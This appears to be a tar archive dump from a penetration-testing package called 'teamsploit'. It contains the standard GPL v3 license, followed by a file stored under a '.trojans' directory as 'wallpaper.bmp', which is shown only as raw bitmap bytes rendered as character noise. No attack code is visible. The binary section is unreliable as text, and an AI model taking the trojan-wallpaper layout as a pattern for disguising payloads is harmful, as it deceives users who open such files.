teamsploit_0~20151123/LICENSE 000644 001750 001750 00000104514 11732510376 016332 0 ustar 00sophie sophie 000000 000000 GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
teamsploit_0~20151123/.trojans/wallpaper.bmp 000644 001750 001750 00005374466 11732510376 021576 0 ustar 00sophie sophie 000000 000000 BM6 6 ( X ~~~|||¿~~~}}}{{{zzzzzz|||{{{xxxuuuttttttuuuwwwmmmlllmmmpppsssuuuyyy~~~~~~}}}zzzyyy|||zzzzzzxxxwwwvvvvvvvvvuuutttsssrrroooooommmmmmhhhjjjkkkmmmqqqvvv|||}}}}}}{{{zzzyyyxxxyyyxxxtttttttttrrrrrrqqqppppppggghhhiiikkknnnpppsssttt}}}ے~~~|||zzzxxxwwwvvvuuutttssssssrrrqqqppppppnnnmmmlllkkkjjjiiiiiiiiiuuuxxx}}}ْyyyttt~~~}}}{{{|||{{{yyyyyyxxxvvvuuusssrrrrrrpppooonnnnnnmmmllllllkkkkkknnnttt{{{ᚚfff|||{{{zzzxxxuuusssrrrssssssttttttrrrpppmmmkkkiiiiiieeehhhlllrrrxxx~~~䛛eeezzz~~~}}}zzzxxxxxxxxxyyyuuutttrrrpppmmmlllkkkiiikkkjjjkkkmmmqqqvvv{{{~~~瞞eeewww~~~~~~|||zzzxxxxxxppppppppppppppppppppppppggggggggghhhjjjlllooopppeeettt~~~}}}}}}zzzyyyxxxwwwwwwvvvvvvuuuttttttsssrrrrrrjjjkkkjjjjjjjjjjjjjjjjjjzzz|||fffrrr}}}zzzwwwuuutttwwwwwwwwwwwwwwwvvvvvvvvvqqqrrrrrrpppmmmkkkkkklllmmmooosssxxx~~~Խxxxgggkkkhhhppp~~~~~~{{{zzzwwwvvvuuuvvvxxxyyyrrrrrrrrrqqqqqqqqqppppppjjjkkknnnpppuuuxxx{{{}}}rrreeeOOOAAA+++ kkkppp~~~~~~}}}|||{{{yyywwwuuuuuutttssssssrrrqqqpppoooooonnnnnnlllkkklllnnnrrrvvvyyy lllppp~~~¿~~~}}}}}}|||zzzyyyyyyyyyuuuuuutttsssrrrqqqqqqpppkkklllllljjjiiijjjnnnrrrwww xxxsssjjj}}}~~~~~~uuuuuuuuuuuuuuutttttttttnnnnnnlllllljjjiiihhhhhhqqqsssxxx~~~ƺsss___KKK888---
;;;%%% sssuuukkk~~~{{{zzzyyyxxxwwwuuusssssstttvvvwwwsssrrrpppnnnllljjjggggggmmmooorrrvvv}}}߾}}}iiiYYYPPP555)))
'''111 jjjxxxkkk}}}~~~}}}zzzxxxxxxwwwwwwqqqqqqpppooonnnmmmllllllggghhhjjjmmmqqqwww{{{}}}įqqqdddVVVHHH222 >>> ```{{{lll|||~~~~~~|||yyywwwvvvuuuppppppooopppnnnmmmmmmmmmgggggghhhjjjlllooorrrtttkkk```OOO<<<---
MMM VVVmmmzzz~~~}}}zzzxxxxxxppprrrrrrsssrrrrrrsssuuujjjkkkkkkjjjhhhgggggghhh{{{~~~ɳrrrwwwHHH
[[[ OOO܃nnnyyy¿~~~}}}|||{{{zzzwwwwwwwwwvvvvvvuuuuuuuuullllllllllllkkkkkkkkkkkkoootttyyy}}}yyyfffSSSAAA777 KKK
ggg KKKᆆmmmxxx}}}{{{{{{zzzzzzxxxwwwtttsssrrrqqqpppooommmmmmllllllkkkkkkhhhkkkoootttzzz˾uuuaaaTTT<<<... RRR ooo GGG㇇nnnwww¿~~~{{{xxxvvvtttttttttqqqqqqpppooonnnmmmmmmlllkkkiiijjjlllqqqvvv{{{ɷuuuYYYOOO===))) ddd 777☘mmmuuuº~~~zzzwwwtttsssvvvuuusssqqqooommmkkkkkkiiijjjkkkmmmooorrrtttvvvccc
sss ||| 555坝ooouuu~~~~~~~~~zzzxxxtttrrrqqq{{{zzzxxxvvvtttrrrqqqooohhhhhhiiijjjkkklllmmmnnntttwww}}}տuuucccSSS???,,, +++fff {{{
~~~ 111裣rrrsss~~~|||{{{{{{zzzzzzzzzyyyyyyyyyxxxxxxpppoooooooooooommmmmmnnniiilllqqqwww~~~ƺoooZZZEEE:::--- ||| ||| iii ,,,ꩩtttqqq~~~}}}}}}}}}zzzvvvtttssstttuuuoooooooooooonnnnnnnnnnnnfffhhhlllqqqwww}}}̸yyyfffXXXIII777
xxx rrr AAAnnn''' &&&쯯vvvnnn}}}{{{{{{~~~~~~}}}{{{xxxuuuvvvwwwttttttsssqqqpppnnnmmmmmmiiijjjkkklllnnnsssxxx|||ZZZEEE444
~~~ ddd 444000 !!!xxxlll~~~}}}|||{{{zzzyyyyyyssssssrrrrrrqqqpppooopppiiijjjkkklllkkkkkknnnpppxxx{{{
rrr VVV&&& """555GGGZZZnnnĔ 777 {{{jjj}}}|||zzzyyyxxxvvvvvvuuutttrrrqqqpppooonnnooommmlllkkkjjjjjjiiirrruuuzzz lll LLLttt--- <<< xxx}}}jjj~~~}}}}}}zzzyyywwwuuutttsssssssssoooooonnnnnnmmmllllllkkkggglllsssxxx{{{Ʃ|||nnn RRR 999222 GGG ppplll}}}}}}{{{yyywwwuuuttttttsssrrrqqqpppnnnkkkiiihhhgggeeegggkkkooouuuzzz~~~箮qqqYYYNNN@@@+++ VVV DDD )))888IIIVVVggg{{{У***
555999 {{{MMM hhhʂlll{{{}}}}}}|||~~~|||zzzwwwwwwuuutttrrrpppmmmkkkjjjiiiiiiiiiiiijjjmmmrrrwwwyyyǼ젠 MMM AAA [[[,,, ---CCC oooYYY ]]]цkkk{{{}}}}}}~~~}}}|||zzzxxxwwwttttttuuuuuuuuuuuuuuuuuuuuuuuuggghhhiiiiiijjjkkkllllll|||îoooZZZEEE000
QQQ :::
<<< !!!111 %%%KKK
fffggg RRRiiizzz~~~|||zzzxxxwwwvvvyyywwwvvvuuutttsssrrrqqqnnnnnnnnnnnnnnnnnnmmmmmmpppqqquuu{{{®yyydddPPP;;;... MMM
/// ===ooo((( ::: RRR ]]]vvv IIIݎgggyyy~~~{{{yyywwwvvvwwwwwwwwwwwwwwwwwwwwwwwwppppppoooooonnnmmmlllllliiilllpppuuuzzz¹ppp___UUUFFF555 ;;; ,,,BBBQQQcccooo222 AAA [[[
RRR >>>咒fffyyy¿~~~}}}}}}{{{xxxvvvuuuuuuuuuwwwrrrrrrsssrrrrrrqqqqqqqqqhhhjjjlllpppssswwwyyy{{{((( ((( 555BBBNNN___rrr::: \\\ eee JJJ 333ꖖeeexxx~~~}}}|||zzzyyywwwuuuuuuvvvuuusssqqqpppnnnmmmlllnnnlllkkkjjjkkkooorrruuu}}}۪uuujjjYYYEEE111 AAA zzz>>> ___ lll BBB ,,,eeewww~~~}}}{{{zzzzzzxxxvvvuuuttttttsssrrrqqqpppkkklllkkkhhhggggggkkknnnsssuuu~~~ --- +++ wwwTTT fffkkk 777 bbbrrrĿttttttttttttttttttssssssnnnnnnmmmlllkkkiiihhhhhhlllooosssyyy $$$
444 qqq]]] aaarrr 111 &&&𭭭cccrrr~~~|||{{{}}}zzzxxxvvvwwwxxxzzzqqqqqqooonnniiihhhgggfffjjjlllooouuuzzz~~~鉉xxxmmm___FFF444%%%
GGG BBB fffjjj YYY~~~ xxx
+++
eeeqqq~~~~~~{{{yyyxxxxxxxxxooooooooonnnooooooooooooeeefffhhhkkkooossswwwzzzӿvvvaaa +++
000 RRR ___xxx QQQ kkk %%% hhhqqq»~~~|||zzzyyyxxxqqqqqqqqqpppoooooonnnnnnggggggggghhhjjjmmmpppqqq 111
""" """ BBB aaa
XXX KKK ^^^ """ ###+++444<<>> DDD%%% 222 qqqpppzzzĸyyytttqqqooommmkkkhhhhhhjjjmmmsssxxx~~~>>> """000 333 >>> GGG
'''111NNN\\\ppp᧧??? ooo
kkk @@@ 777!!! <<<))) |||::: rrrpppzzz˻ŵdddZZZIII555!!! %%%444 >>> CCC \\\ mmm
222???SSSdddttt??? ccc!!! 666$$$ 222,,, 333777 222CCC ~~~iii{{{ν{{{iiiUUUBBB... <<< HHH MMM ddd EEE
~~~ VVV''' 222,,, %%%444 ...>>> """EEEDDDOOOWWWdddeeeuuuKKK ԁiii{{{ųttt```MMM===444
III WWW [[[ ̹qqq
NNN rrr NNN000 ---777
&&&AAA &&&III XXX ׇjjjzzzꓓSSS888,,, WWW fff iii ttttttlll]]]TTTNNNPPP999===}}} YYY ggg%%% JJJð}}}nnn\\\MMM888222UUU999 )))CCC LLL WWW fff ۏkkkxxxXXX ddd sss www uuu sssccc [[[--- 666սyyyhhhVVVEEE999 BBB@@@ $$$MMM VVV ddd uuu lllwwwϻmmmdddTTTAAA,,,
]]]jjj rrr
||| vvv ooo eeemmm OOO555 111333
@@@III {{{YYY vvvbbb qqq www䜜mmmttt䈈777'''
YYYddd ~~~ xxx ooo hhh''' ___""" WWWsss CCC<<<
222RRR qqqddd """333nnn
}}} hhhͷ硡nnntttggg RRRqqq ||| qqq ggg!!! ___--- ZZZ((( OOOyyy ;;;AAA ...XXX kkklll ---EEERRRUUUdddxxxzzzvvv uuu \\\»|||kkk___LLL<<<'''
___餤ooosss}}} BBB
iii
